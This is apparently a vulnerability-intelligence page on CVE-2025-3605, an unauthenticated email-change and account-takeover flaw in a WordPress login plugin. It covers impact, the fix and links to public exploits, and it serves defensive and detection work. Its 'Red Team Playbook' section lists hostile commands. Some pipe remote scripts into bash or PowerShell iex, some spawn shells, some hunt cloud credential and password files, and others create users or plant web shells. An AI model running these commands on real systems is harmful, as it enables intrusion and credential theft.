CVE-2025-3605
Overview
This vulnerability is a privilege escalation flaw caused by improper validation of user identity within the Frontend Login and Registration Blocks WordPress plugin. Specifically, the function flr_blocks_user_settings_handle_ajax_callback() fails to authenticate the user before processing updates to account details such as email addresses. This issue affects all plugin versions up to and including 1.1.1, allowing unauthorized modification of sensitive user attributes.
Vulnerability Description
The Frontend Login and Registration Blocks plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.1.1. This is due to the plugin not properly validating a user's identity prior to updating their details like email via the flr_blocks_user_settings_handle_ajax_callback() function. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.
Impact
An unauthenticated attacker can change any user's email address, including administrators, without prior access or interaction, due to the lack of authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). This enables account takeover by triggering password reset flows, resulting in full compromise of targeted user accounts. The business impact includes unauthorized administrative access, potential data breaches, and lateral movement within the WordPress environment, severely undermining site integrity and confidentiality.
Solution
Users of the Frontend Login and Registration Blocks plugin should upgrade to version 1.1.2 or later, where proper authentication checks have been implemented in the flr_blocks_user_settings_handle_ajax_callback() function. Detailed patch instructions and advisory information are available from Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/0c11668c-6dc3-4539-b2be-bf6528bed73e. No alternative workarounds are documented; prompt updating is recommended to mitigate exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Frontend Login and Registration Blocks plugin for WordPress stems from inadequate validation of user identity when updating account details, particularly email addresses. The flaw exists in the flr_blocks_user_settings_handle_ajax_callback() function, which fails to authenticate users properly before allowing modifications to their profiles. This oversight permits unauthenticated attackers to exploit the system by changing the email addresses of any user, including those with administrative privileges. Once an attacker successfully alters a user's email, they can initiate a password reset, thereby gaining unauthorized access to the victim's account.
Attack vectors for this vulnerability are straightforward yet highly effective. An attacker can leverage social engineering tactics or automated scripts to target WordPress installations that utilize this plugin. By sending crafted requests to the vulnerable function, they can manipulate the email address associated with any user account. This exploitation can be executed without any prior authentication, making it particularly dangerous. Once the attack is successful, the attacker can reset the password of the compromised account, leading to full account takeover. This scenario is especially concerning for administrators, as their accounts often have elevated privileges, allowing attackers to further compromise the website and its data.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on WordPress for their online presence. A successful exploitation could lead to unauthorized access to sensitive information, including customer data, financial records, and proprietary content. The implications extend beyond immediate data theft; they can result in reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Additionally, the compromised administrative accounts can be used to deploy malware, deface websites, or conduct further attacks on the organization's infrastructure, amplifying the risk and potential fallout.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to keep all plugins and WordPress installations up to date, as updates often contain patches for known vulnerabilities. Regular security audits and vulnerability assessments can help identify outdated or insecure plugins. Additionally, organizations should employ web application firewalls (WAF) to monitor and filter incoming traffic, blocking malicious requests that attempt to exploit this vulnerability. Implementing multi-factor authentication (MFA) for user accounts, especially for administrative access, can significantly reduce the risk of account takeover, as it adds an additional layer of security that an attacker would need to bypass.
In conclusion, the privilege escalation vulnerability in the Frontend Login and Registration Blocks plugin poses a significant threat to WordPress users. Its ease of exploitation and potential for severe consequences necessitate immediate attention from website administrators. By adopting proactive security measures, including regular updates, security audits, and enhanced authentication protocols, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from unauthorized access.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation | Md Shoriful Islam | webapps | multiple | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-3605
WordPress Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation
|
Nxploited | 2 | 0 | 2025-05-09 | View |
|
GadaLuBau1337/CVE-2025-3605
|
GadaLuBau1337 | 1 | 0 | 2025-05-15 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-3605 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/0c11668c-6dc3-4539-b2be-bf6528bed73e?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/frontend-login-and-registration-blocks/trunk/inc/class-flr-blocks-user-settings.php#L59 |